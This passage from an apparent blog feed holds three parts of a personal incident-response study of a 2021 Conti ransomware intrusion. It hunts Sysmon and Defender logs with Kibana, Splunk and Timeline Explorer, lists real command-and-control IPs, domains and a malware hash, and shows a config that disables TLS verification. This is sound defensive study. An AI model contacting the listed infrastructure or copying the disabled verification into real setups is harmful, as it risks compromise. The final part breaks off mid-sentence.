src="https://cdn-images-1.medium.com/max/1024/1*OnGcKSPjHanz_zZoU4fe2Q.png" /></figure><p>In Windows 11 you can easily mount VHDX disc images by right click and mount option. So after mounting them all i have searched in file browser entire computer’s memory for Sysmon logs with typing following path in the search box :</p><pre>Microsoft-Windows-Sysmon%4Operational.evtx</pre><p>Then selected the the results from the mounted “Kape” drives only, copied and saved them to a new folder i named “sysmonlogs”.</p><h3>Uploading the log files</h3><p>To upload evtx files to Elasticsearch was not straightforward, but with some patience and bit of research i have figured how to do it. Here is in few steps how i did it for all of my readers who don’t know :</p><h4>1. Downloading the <a href="https://www.elastic.co/downloads/beats/winlogbeat">winlogbeat.zip</a> file.</h4><p>Winlogbeat is a lightweight agent for Windows operating systems that monitors event logs and forwards them to Elasticsearch or Logstash for centralized logging and analysis.It is designed to automate on-time event log sending, but I have used it to upload previously saved log files with CMD command. See next steps below.</p><h4>2. Extracting the zip to an easy to access location.</h4><p>I have extracted to my Desktop.</p><h4>3. Creating custom evtx.yml file.</h4><ul><li>Navigate to newly extracted “winlogbeat” folder with your file browser</li><li>Create new plain text document and name it something like this <strong>winlogbeat_evtx.yml</strong> (name can be anything but extension should be <strong>.yml</strong>)</li><li>open this file with any text editor or visual studio code and copy the following script inside:</li></ul><pre>winlogbeat.event_logs:<br>  - name: &quot;C:\\Users\\T11prox\\Desktop\\winlogbeat-8.13.0-windows-x86_64\\sysmonlogs\\DC1.evtx&quot;<br>    no_more_events: stop<br>  - name: &quot;C:\\Users\\T11prox\\Desktop\\winlogbeat-8.13.0-windows-x86_64\\sysmonlogs\\FS1.evtx&quot;<br>    no_more_events: stop<br>  - name: &quot;C:\\Users\\T11prox\\Desktop\\winlogbeat-8.13.0-windows-x86_64\\sysmonlogs\\SERV5.evtx&quot;<br>    no_more_events: stop<br>  - name: &quot;C:\\Users\\T11prox\\Desktop\\winlogbeat-8.13.0-windows-x86_64\\sysmonlogs\\WIN81.evtx&quot;<br>    no_more_events: stop<br>  # Add more entries for additional EVTX files as needed<br><br>winlogbeat.shutdown_timeout: 30s<br>winlogbeat.registry_file: evtx-registry.yml<br><br>output.elasticsearch:<br>  hosts: [&#39;https://192.168.1.207:9200&#39;]<br>  protocol: &quot;https&quot;<br>  username: &quot;elastic&quot;<br>  # password: &#39;xxxxxxxxxxxx&#39;<br>  ssl.verification_mode: none</pre><ul><li>adjust the script according to your needs like the number of files you uploading , correct path to the files and Elasticsearch host IP and port.</li></ul><p>please note: use double slashes in the paths to the files according to Elasticsearch syntax rules. If NOT previously modified Elasticsearch.yml the <strong>hosts address</strong> should be <strong>hosts: [‘https://localhost:9200&#39;]</strong></p><h4>4. CMD Command</h4><ul><li>make sure you have Elasticsearch and Kibana running</li><li>open another instance of CMD and navigate to winlogbeat folder</li><li>execute following command :</li></ul><pre>.\winlogbeat.exe -e -c .\winlogbeat-evtx.yml -E output.elasticsearch.password=&quot;your_password_for_elastic_user&quot;</pre><p>If preferred password can be provided inside .yml file by UN-commenting the relevant entry, instead of the command line. Uploading logs may take some time to complete.</p><h3>Investigating &amp; Hunting in Sysmon Logs using<br>Elasticsearch</h3><p><strong>1.When successfully completed steps above data should be available for searching in Kibana UI, but to do so needs to be created a data view.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eev00zf9tVWw99ZzrUVkag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J0NoWFb2UXMRtRXEr6ln-w.png" /></figure><p><strong>2.Lastly after changing the time range all should be set and ready to go.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*McTz-W2cMOpf03wJP6OUew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yjl6lEkeTqE4UtJrm3i9GQ.png" /></figure><h3>Delving in and Exploring the logs</h3><p><strong>1.Once I was ready with configuring my tools and logs I have started investigating, and to begin I brought up my findings list from previous searches.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-yKMv7upjnCteCXhOWh33A.png" /></figure><p>In <strong>part 2 </strong>blog i found out that velociraptor.exe and related events are most likely the the security team’s actions. Therefore I ignored them this time,thinking to come back to them later on and switched my focus on those TDR*.exe files.</p><p><strong>2. I started with my first search query :</strong></p><p>This query aims to identify if any malicious files or documents that tried to connect to suspicious domains or websites.</p><pre>event.code:22 and winlog.event_data.Image:(*tdr*.exe)</pre><ul><li>Used asterisks to represent any path that files can be located in and as i have similarly named files I placed another asterisk where the in the filenames have different characters.</li><li>Event code 22 in sysmon logs is representing a DNS requests. All about Sysmon Event codes and what each number represents can be found on <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">this official webpage here</a>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sESUrs_QFnPSy4E5ay6hLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YoLKMuKUjm9SraLWc0BqmA.png" /><figcaption>On the second screenshot here I have made a customized table view for this fields in Kibana</figcaption></figure><p>This domain “<strong>gmbfrom.com”</strong> and the IP address “<strong>88.80.147.101”</strong> are already in my suspicious findings list, so it was not a surprise to get to them again confirming the activities with different tools and logs. “<strong>Win81”</strong> and “<strong>10.10.100.22”</strong> are local machine domain and it’s local IP address.</p><p>Looked deeper into one of these events shows that a DNS query for the domain “<strong>gmbfrom.com</strong>” was made from the system. The query was successful, and the IP address “<strong>88.80.147.101”</strong> was returned. The process responsible for this query had a Process ID of 7416 and was associated with the image “<strong>tdr615.exe”</strong> located in the temporary directory of the user “<strong>H**********”</strong>.</p><p><strong>3. To see list all websites, domains or IPs that has been contacted by this specific process given its PID, I have used the query below:</strong></p><pre>event.code:3 and winlog.event_data.ProcessId:7416</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nc3r4pFC8Sw0p6od7WS8WA.png" /></figure><p>The Results brought up 45 events with same destination details which indicate that a network connection was detected from the system with the IP address “<strong>10.100.100.22” </strong>to the destination IP address “<strong>88.80.147.101”</strong> on port “<strong>443” </strong>over TCP. The process with ID “<strong>7416”</strong>, associated with the image “<strong>tdr615.exe”</strong>, initiated this connection. The user associated with this activity is “<strong>H**********”</strong> from the domain “<strong>lakestatebank”</strong>.</p><p>The rule name suggests that this event may be related to the masquerading technique (T1036), which involves disguising malicious activity as legitimate activity to bypass detection.</p><p><strong><em>All these events indicate that they are part of local network discovery , beaconing and possibly malicious payloads communicating back to threat actors’ C2 center . To validate my theory i have continued to dig bit more into these events.</em></strong></p><h4><strong>4. Went back to tdr*.exe files</strong></h4><p>This time i have searched and focused on their locations.I wanted to check if there was other processes running from same location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1FbtSPy1UY6-w33girTu7Q.png" /></figure><ul><li>Searching just for tdr*.exe got me 50108 events, where the very first one is file create event: <strong>wermgr.exe</strong> process with PID 748 created the file <strong>tdr5BDD.exe</strong> in the specified location.</li><li>The second log entry indicates the creation of a process named “tdr5BDD.exe”, launched by the “wermgr.exe” process.The process’s current working directory was <strong>“C:\Users\H**********\AppData\Roaming\TDir5LFNHX”</strong>.</li></ul><h4>5. Searching for *TDir5LFNHX .</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tsHz35Zg2_HBXp6JbqYp8Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2JX4FFqP8II6deSNkSytA.png" /></figure><p>From the results here I see other process create event from same current work directory :</p><blockquote><strong><em>esentutl.exe, ipconfig.exe, net.exe, nltest.exe under parent.image: </em></strong><strong>svchost.exe<em>, net1.exe </em></strong>under parent.image:<strong><em> </em></strong><strong><em>net.exe</em></strong></blockquote><blockquote>as well as</blockquote><blockquote><strong><em>tdrE934.exe, tdr615.exe, tdr2269.exe, tdr3F89.exe, tdr5BDD.exe </em></strong>under parent.image: <strong>wermgr.exe</strong></blockquote><p>All The processes I found have been launched from the temp directory: <strong>“C:\Users\H**********\AppData\Roaming\TDir5LFNHX”</strong>, some of them are legitimate windows components, but they normally they should not run in unusual locations like this. Legitimate apps that are part of Windows OS very often can be abused by attackers to run their malicious codes and software.<strong> </strong><a href="https://lolbas-project.github.io/#"><strong>This website</strong></a> is a great place to check out such apps and what abilities they have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sd5aCb6BsRxb3HvaUmtD0A.png" /></figure><p>However it is still possible Attackers to abuse some other apps that are not listed in here. For example i didn’t find any information about <strong><em>wermgr.exe </em></strong>but surely it has been involved in creation of a malicious files as we have seen above.</p><h4>6. After few more searches</h4><p>Tracing these processes and files I found that they are involved in DNS requests to several websites like <strong>“ident.me”, </strong>“<strong>wtfismyip.com” </strong>to discover local IP address and other information of “<strong>Win81.lakestatebank.localand” </strong>and possibly other machines in the network too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBU0un_X-yxLY1UnWtOW8A.png" /></figure><h4>7.Finding other malicious IPs</h4><p>As i remember from my previous searches in the MDE logs there was another malicious remote IP that has been connected many times. Searching for activities about external connection should show it up in Sysmon logs too. In Kibana I have looked into available fields similar to Splunk’s interesting fields in the left side panel clicked on “<strong>winlog.event_data.DestinationIp” </strong>then visualize.Also when I search for that IP from the result, looking in to “<strong>winlog.event_data.QueryName”</strong> field i found the domain name of this IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hf7KMu68LLQlgL3ieMzGDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UGnuZY6HnJUNpfus1GjURw.png" /></figure><p>To make sure I can see all the events associated to this Ip and domain i have crafted this query :</p><pre>winlog.event_data.DestinationIp : &quot;149.248.52.187&quot;  or winlog.event_data.QueryName: &quot;onlineworkercz.com&quot; </pre><p>By adding some more search arguments I observed DNS requests made to <strong>“onlineworkercz.com&quot;</strong> from all 4 machines in the local network, initiated by<strong> “rundll32.exe </strong>and<strong> powershell.exe”</strong> resolved to the IP address 149.248.52.187. These requests are made with elevated privileges with “SYSTEM” username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LdZJNPGmPNDxwoJlB6e2Xw.png" /></figure><h4>8.Rundll32.exe associated activities</h4><p>To find activities i have crafted my next query like this:</p><pre>rundll32.exe and winlog.event_data.CommandLine: (*) </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kRhGMYcq0dqsC5Kp3jqzcg.png" /><figcaption>customized the view table for simplicity</figcaption></figure><p>Scrolling through the results I observed many malicious activities and collected more IOCs. To keep the article shorter i am not going in deep details here.</p><h4>9.Powershell.exe associated activities</h4><p><em>PowerShell is a powerful tool that can do a lot of things on a computer. It’s like finding out that someone has opened a toolbox in your house — it’s not necessarily bad, but you want to make sure they’re using it for the right reasons.</em></p><ul><li>In part 2 I have looked at some powershell scripts and “<strong>Velociraptor.exe”</strong> app events which this time i want to exclude I have mentioned the reason earlier. I used this query in Kibana:</li></ul><pre>powershell.exe and winlog.event_data.CommandLine: (*encoded*) and not *velociraptor.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qvYS2WSMDk7vHy2C1RogGQ.png" /></figure><p>this search returned 4 process creation events from <strong>“Serv5.lakestatebank.local” </strong>machine that includes very interesting base64 code in the command line. To understand if this is malicious code or not i have tried to decode this base64 string using <a href="https://gchq.github.io/CyberChef/">CyberChef</a> and <a href="https://www.base64decode.org/">Base64decode.org</a> websites. However it appeared that this string contains another base64 inside it which was bit more difficult to decode. That seems to be representing an archived file, I was not able to decode with these online tools. After some more research I have found another website <a href="https://base64.guru/">Base64.guru</a> that successfully decoded the inner base64 string and let me download the results in “<strong>.gz” </strong>format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qvYS2WSMDk7vHy2C1RogGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ap0-14NFsDX4Zd1z1Lh2-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KAUoATpJo85s6Y5EVVxZaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6EIEzmev36lf3v0hat41JQ.png" /><figcaption>here, I have observed base64 inside base64</figcaption></figure><ul><li>After I downloaded the .gz archive I have been able to see what is in it, and that was a PowerShell script that contains another Base64-encoded string embedded within it which appears to represent a binary file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yBoG40MYKv7r5cAqQf2-pQ.png" /></figure><ul><li>Finding hidden layers of Base64-encoded strings within PowerShell scripts is a strong indication of malicious intent. This technique is often used by cybercriminals to hide their actions from security measures. When combined with attempts to conceal the decoding process, such as burying encoded strings within one another or using archived files, it suggests a sophisticated attack strategy.</li><li>In simpler terms, these activities are like finding hidden compartments within a toolbox, indicating someone is trying to sneak something past security measures. This could involve attempts to plant harmful software or execute unauthorized commands on a computer system.</li></ul><h3>To be continued</h3><p>A lot more still can be found in these logs, but I think I have discovered many malicious activities and collected quiet a bit IOCs so probably it is a good point to end to this blog here and continue my investigation with Digital forencics in my next one. Thanks to everyone for being here ,Hope you have enjoyed reading my article and also hope to see you on my next one.</p><h3>Resources:</h3><ul><li><a href="https://www.elastic.co/elasticsearch">Elasticsearch: The Official Distributed Search &amp; Analytics Engine | Elastic</a></li><li><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">Sysmon - Sysinternals</a></li><li><a href="https://www.kroll.com/en-gb/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape">Kroll Artifact Parser And Extractor (KAPE) | Cyber Risk | Kroll</a></li><li><a href="https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/">BazarCall to Conti Ransomware via Trickbot and Cobalt Strike</a></li><li><a href="https://gchq.github.io/CyberChef/">CyberChef</a></li><li><a href="https://www.base64decode.org/">Base64 Decode and Encode - Online</a></li><li><a href="https://base64.guru/converter/decode/file">Base64 to File</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb003ba5b4c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Studying “BazarCall to Conti Ransomware via Trickbot and Cobalt Strike”: Part 2]]></title>
            <link>https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-2-9cc1bb366754?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/9cc1bb366754</guid>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Sun, 31 Mar 2024 12:51:04 GMT</pubDate>
            <atom:updated>2024-03-31T12:51:04.091Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tracing the Cyber Intrusion: A Dive into Eric Zimmerman’s Timeline Explorer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/1*TOTcJOI_uGHt8LO3nvA1mA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*UvUzISjY5UeXnyaDuGmEHw.png" /></figure><p>Greetings to all readers joining me on this cybersecurity exploration.</p><p>Today, I dive deeper into our investigation, picking up from where I left off in <a href="https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-1-bb6c30526e5f">Part 1</a>. I’ve identified a potentially malicious DLL file marked by its SHA256 hash “87402c2ee3595cd862dbb82648aa9ebf17d41ceb05f912e50493d9ba96acb9a4” and have begun tracing back to the initial document sent by the attackers to infiltrate the victim company’s network. Below is a table of what I have taken as notes earlier in Part 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xGfWwug0BJLKEWM-MTLPoA.png" /><figcaption>findings from previous article</figcaption></figure><h3>EZ Tools Installation</h3><p>I fired up my Windows VM in my Home Lab and installed Eric Zimmerman’s tools using a <a href="https://f001.backblazeb2.com/file/EricZimmermanTools/Get-ZimmermanTools.zip">PowerShell script to get all EZ tools</a> at once. Unfortunately, EZ tools are only available for Windows. Check out the screenshot below for the installation steps. After completing the download and installation process, I now have a full set of EZ tools ready to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4522Qp0Rw5llm_me1erMew.png" /><figcaption>all installation steps in one screenshot</figcaption></figure><h3>Loading csv log files</h3><p>The tool I’m using for this investigation is the Timeline Explorer. It’s designed to work with CSV and Excel files, but unfortunately, seems it cannot use search queries to search in multiple files at once. So, I had to combine all four MDE CSV files into one to enable this feature.</p><p>Combining CSV files is straightforward. In Windows, you can use the following command:</p><pre> copy *.csv combined.csv</pre><p>Alternatively, in a Linux terminal, you can use:</p><pre>cat *csv &gt; combined.csv</pre><p>Remember to run these commands from the folder where the CSV files are located. Check out the screenshots below for a demonstration of these commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQwSQkpLdRSMcGPy0xvS4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TJgnOG_dUqeZtDJAKYfmkg.png" /></figure><p>Once the CSV files are combined, I open the combined.csv file in the Timeline Explorer. To start up the tool, I navigate to the correct path and double-click the exe file located at C:\ Eztools\TimlineExplorer\TimlineExplorer.exe. Then, I simply drag and drop the combined.csv file inside the tool&#39;s GUI window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eFsViUaUjmHMTZJepWT6sA.png" /></figure><p>At this point, I’m ready to delve deeper into the logs and uncover any malicious activities and files.</p><h3>Starting The deeper Investigation:</h3><ol><li>Returning to where I left off in Part 1, my last finding was a suspicious event involving a parent process file named Velociraptor.exe, which was associated with a PowerShell command line that downloaded a sample of malicious DLL. I searched for it in the Timeline Explorer, making it my first search query this time.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RwmL7XsgRenvxui4RSplgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dPyGPzlbTGCTyvalbgvn-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I24wZfDkLpMpFCq_bv8XLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1EH3_CB0TbaHhz837IOAgg.png" /></figure><p>Unfortunately, there are 22 events associated with Velociraptor.exe, and I couldn’t capture all the details in a single screenshot due to the multitude of columns in the Timeline Explorer. To provide a comprehensive view, I’ve included four screenshots.</p><ul><li>In the first screenshot, we observe the creation of two files at 11:53:15 on 11/06/2021: a PowerShell script and a PowerShell script module. This suggests they may have been used in combination with other PowerShell scripts. Following this, two process creation events occur immediately after the files are created. Within seconds, a PowerShell command is executed, with a connection success event appearing in between. This aligns with the creation of File 1.zip, the method of which we already discussed in my previous article.</li><li>The second screenshot reveals the process command line of the process creation events, showing the execution of conhost.exe with parameters and the same PowerShell command with base64 encoding that I previously analyzed, responsible for downloading the 1.zip file. Additionally, commands involving lsass.exe are executed in the OpenProcessAPICall event. Details such as remote URL, remote IP, and port can be seen in a connection success event line.</li><li>In the third and fourth screenshots, we observe two distinct sets of event logs. The first set reveals a recurring execution of a familiar PowerShell script under the program “Velociraptor.exe.” This script appears to be quite familiar and is repeated multiple times throughout the events. Meanwhile, the second group of event logs shows processes initiated under the program “services.exe.” These processes entail the configuration and launch of a file named “client.config.yaml” as a service, from the provided file path.</li></ul><p>What catches my eye here are the two files created (.ps1 and .psm1), prompting further investigation.</p><h3>2. Investigating these powershell scripts</h3><p>In light of my latest findings, PowerShell and Cmd command lines and scripts are among the most common methods attackers use to gain access, maintain persistence, and control their victim’s systems. To further my investigation, I focused on the first part of the files’ names up to where they share common characters:</p><pre>__PSScriptPolicyTest_</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ginPb0PvJCIcGGzXG2cOA.png" /></figure><p>Based on the results shown in the screenshot above, we have identified 304 events primarily involving the creation of pairs of .ps1 and .psm1 files in different /Temp folders across all four machines whose logs I am examining. Unfortunately, the MDE logs do not provide the contents of these script files. Therefore, I turned to the internet to search for the parent file and gather information about it.</p><h3>3. Googling for Velociraptor.exe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aCDnX3McLr_sDeyE8Wct-Q.png" /></figure><p>Upon Googling Velociraptor.exe, I discovered that this file or application was completely unknown to me, but it appears to be a legitimate cybersecurity tool.</p><ul><li>This discovery led me to reconsider my latest suspected findings. It’s possible that all those processes and activities related to this app might actually belong to the company’s security team and not to adversaries. After all, security teams also utilize PowerShell and PowerShell scripts to test and automate their tools for detection, setup, configuration, and/or implementation of protection tools and rules. This theory somewhat explains the abundance of scripts present.</li><li>On the other hand, I still have no proof that Velocirator.exe has not been abused or modified by attackers.</li></ul><h3>4. Conclusion</h3><p>As I write my blogs concurrently with my investigations, my initial plans can often change based on the results of those investigations. Today’s story serves as a prime example of the challenges, I believe encountered by every cybersecurity analyst when working on a new case.At this point, it’s important to shift focus and explore different paths, exploring various suspicious files from the notes, utilizing different tools and logs to effectively validate and substantiate a correct hypothesis.</p><p>This adaptability and willingness to explore new avenues are crucial in the ever-evolving landscape of cybersecurity. While uncertainties may arise, each discovery contributes to a deeper understanding of the threat landscape.</p><p>I hope you found this article engaging, and I look forward to sharing more insights with you in my next installment.</p><h3>Resources:</h3><blockquote><a href="https://www.sans.org/tools/ez-tools/">https://www.sans.org/tools/ez-tools/</a></blockquote><blockquote><a href="https://docs.velociraptor.app/">https://docs.velociraptor.app/</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9cc1bb366754" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Studying “BazarCall to Conti Ransomware via Trickbot and Cobalt Strike”: Part 1]]></title>
            <link>https://medium.com/@salim.y.salimov/studying-bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike-part-1-bb6c30526e5f?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb6c30526e5f</guid>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Sun, 17 Mar 2024 11:29:42 GMT</pubDate>
            <atom:updated>2024-03-20T21:08:19.183Z</atom:updated>
            <content:encoded><![CDATA[<h3>Digging into Microsoft Defender Endpoint log files with Splunk.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_KphMH2q6Wnde51dmBk-mg.jpeg" /></figure><p>Hello Medium users, hope you all doing well .</p><p>Today, I am starting a mini-series of study blogs about a ransomware attack that occurred in 2021 , that i have got information about from<a href="https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/"> TheDFIRreport </a>website , where you can check it out as well.</p><p>I have also been provided with a good collection of post incident data for analysing :<strong> MDE log</strong> <strong>files</strong> , <strong>Vhdx disk image files </strong>taken with Kape , <strong>volatile memory dump files</strong> and a bunch of <strong>pcap files</strong>. All this data has been collected from 4 machines in the compromised company network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*WW35kuj1mKUzoIZ_599saw.png" /><figcaption>MDE logs are in csv format</figcaption></figure><h4><strong>1. Preparing Data in Splunk:</strong></h4><p>I have uploaded all available 4 csv log files together to splunk under same index created specially for them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KFqXzjSWsGvuWO0dsgteA.png" /></figure><p>This way instead of source= “&lt;example&gt;” my search queries can start with index= “csv_files” to be able to search for events in all 4 logs together. For more detailed guide how to upload log files to Splunk ,please check out one of my previous blogs <a href="https://medium.com/@salim.y.salimov/hunting-malware-in-sysmon-log-with-splunk-ccdfe67182d0">here </a>.</p><h4><strong>2. Before i start searching for any malicious activities I would like to know few things about the local network of the company network.</strong></h4><p>To list all computers on the local network i have simply Searched for <strong>index=”csv_files” </strong>that loads all the events from the loaded log files.</p><p>Then in Splunk’s fields panel I have looked in computer name field : found the names of 4 computers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z74tUPcKwJr2AFwlseqRKA.png" /></figure><ul><li>To find the list of all IPs in this local network I just scrolled bit more down and checked the Local Ip field.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StqDBNQNE4efAfU83mF1cg.png" /></figure><p>Next i could start to search for malicious activities.</p><h4><strong>3. Analyzing Login Attempts:</strong></h4><ul><li>tried to find failed logon attempts.</li></ul><pre>index=&quot;csv_files&quot; &quot;Action Type&quot;=LogonFail<br><br>or <br><br>index=&quot;csv_files&quot; &quot;Action Type&quot;=LogonFailed</pre><p>These query didn’t get me any results also I couldn’t see anything related in the interesting fields.</p><ul><li>Next i have tried to look for successful logon attempts from suspicious sources, remote login attempts, for example usage of Remote Desktop Protocol (RDP).</li></ul><p><em>(As not very familiar with MDE logs yet , I use a Splunk cheatsheet for Sysmon EVTX logs then trying to find alternative queries to adapt for MDE logs.)</em></p><pre>index=&quot;csv_files&quot; &quot;Action Type&quot;=LogonSuccess &quot;Logon Type&quot;=RemoteInteractive</pre><p>This query returned single result which helped me to find a compromised account name and some more information that i can refer back to later on during my investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*do8hNuntKGwKXI4k_pU24Q.png" /></figure><ul><li>Next i have searched for other suspicious events with this account name.</li></ul><pre>index=&quot;csv_files&quot; | search &quot;Account Name&quot;=&quot;a**********&quot; &quot;Action Type&quot;=InteractiveRemoteComponentInvocation </pre><p>Not much I could spot apart from Splunk suggesting these events could be representing <a href="http://T1078 (mitre)/T1021.001 (mitre)">T1078 (mitre)/T1021.001 (mitre)</a> tactics which is use of “Valid Accounts or Remote Services: Remote Desktop Protocol” and “RDP connections” as described in <a href="https://attack.mitre.org/">MitreAtt@ck </a>framework website.</p><ul><li>Then i have carried on with the following search query:</li></ul><pre>index=&quot;csv_files&quot; &quot;Action Type&quot;=ConnectionFailed</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IB58yeLuterIhoHyDQGbxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YwnAFoE4fQnaINI4U12Haw.png" /><figcaption>First Malicious IP</figcaption></figure><p>As seen on the screenshot in top 10 remote ip activities there is only one IP that looks like external public IP. The rest in the list seems belong to another subnet in company’s priviate network.A quick check on Virustotal shows that 10 vendors flagged this IP located in Bulgaria as malicious. I have then decided to trace back as much as possible the related activities as if there is any successful connection to this IP and when it is been connected successfully for first time with following query :</p><pre>index=&quot;csv_files&quot; &quot;Remote IP&quot;=&quot;88.80.147.101&quot; &quot;Action Type&quot;=ConnectionSuccess <br>| reverse</pre><p>The reverse here is used to put the events in chronological order so i can see the earliest event on top of the results. And On the first/top result we can see the process “tdrE934.exe” initiated a connection to the remote IP address 88.80.147.101 on port 80 from the local IP address 10.100.100.22. The connection was established successfully. Account name used is “h**********” , aditional details about the initiating process, such as its creation time, file name, and folder path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a07orJbvfDB0S4fmuyhjvA.png" /></figure><p>With some extra search about the this ip Also I have found that it’s associated with this domain “gmbfrom.com” , another suspicious files with similar name “tdr615.exe”, “tdr2269.exe” , “tdr5BDD.exe” in addition to that some suspicious activities of legitimate taskhostw.exe and explorer.exe that possibly been modified/abused. Needs some more investigations.</p><h4><strong>4. Accounts:</strong></h4><p>Based on finding from searches above it seems like “a**********” and “h**********” are the two main accounts attackers been using for their malicious activities in the the company network.</p><h4>5. <strong>Unusual Activity:</strong></h4><ul><li>I wanted to see which of the above mentioned accounts activities are the most suspicious . Started with checking for any other suspicious remote IPs:</li></ul><pre>index=&quot;csv_files&quot; a********** OR h********** &quot;Remote IP&quot;=&quot;*&quot;</pre><p>In the query i have used above i have given the two account names and remote IP set to be anything . The symbol “*” for the Remote IP value represents anything in regex which is supported in the Splunk’s query language.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lYQQrSCFwpIKjTK7fuWzZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0emB3xM85xH09E_fU_owOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8blnIjy62WhZC-Rig6cZ9w.png" /><figcaption>Second Malicious IP</figcaption></figure><p>Spotted second Malicious IP and according to Virustotal it is detected as malicious also it is related to Cobalt_strike.exe.</p><ul><li>A note has been taken, and I’m moving on to the next query:</li></ul><pre>index=&quot;csv_files&quot;   149.248.52.187 OR 88.80.147.101</pre><p>Using this query I found another remote url related to them “onlineworkercz.com” along with some other useful information for new processes and files that are also involved. All saved into my notes.</p><ul><li>Continuing to search for the initial time and how attackers put their foot inside the organization I have tried few queries similar to the one below:</li></ul><pre>index=&quot;csv_files&quot; a*********** OR h*********** | search &quot;Action Type&quot;=ImageLoaded &quot;Initiating Process Command Line&quot;=&quot;*\temp*&quot;<br>| reverse</pre><p>Attackers normally downloading/dropping/executing their malware from unusual or hidden and temporary locations in the system . My aim with this query was to check if such a tactic has been used in this case too.</p><p>As results I have found three image loaded events exsecuted from /tmp folder of “<strong>win81.lakestatebank.local”</strong> machine with account name “<strong>h**********”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5ud-cXP2byw941NxmIGSA.png" /></figure><p>a) First event indicates that the user “h**********” executed the “regsvr32.exe” process, which loaded the DLL file “87402c2ee3595cd862dbb82648aa9ebf17d41ceb05f912e50493d9ba96acb9a4.dll” located in the temporary directory 